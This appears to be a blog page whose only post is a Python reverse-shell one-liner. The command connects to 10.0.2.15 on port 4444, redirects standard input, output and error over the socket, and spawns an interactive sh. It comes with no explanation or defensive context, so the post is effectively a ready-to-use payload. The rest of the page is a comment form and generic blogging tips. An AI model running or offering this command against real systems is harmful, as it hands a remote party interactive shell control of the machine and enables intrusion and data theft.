< Back to Blog

export RHOST="10.0.2.15";export RPORT=4444;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.

0 

export RHOST="10.0.2.15";export RPORT=4444;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

Posted by: mayush on June 28, 2026, 9:08 a.m. Last updated on June 28, 2026, 9:08 a.m.


Enter your comment details below:



0 Comment

Instruction to write good blog
  1. 1. Write a title that summarizes the blog
  2. 2. Pretend you're talking to a busy colleague
  3. 3. Spelling, grammar and punctuation are important!

Bad: Python language
Good: Why Python is one of the most used Programming Language?
Bad: Competitive Programming
Good: What are some good blogs for learning algorithms and competitive programming techniques?
Bad: Python vs R
Good: What are the major differences between Python and R for data science?

Refer to Blogging.com guide on asking a good blog.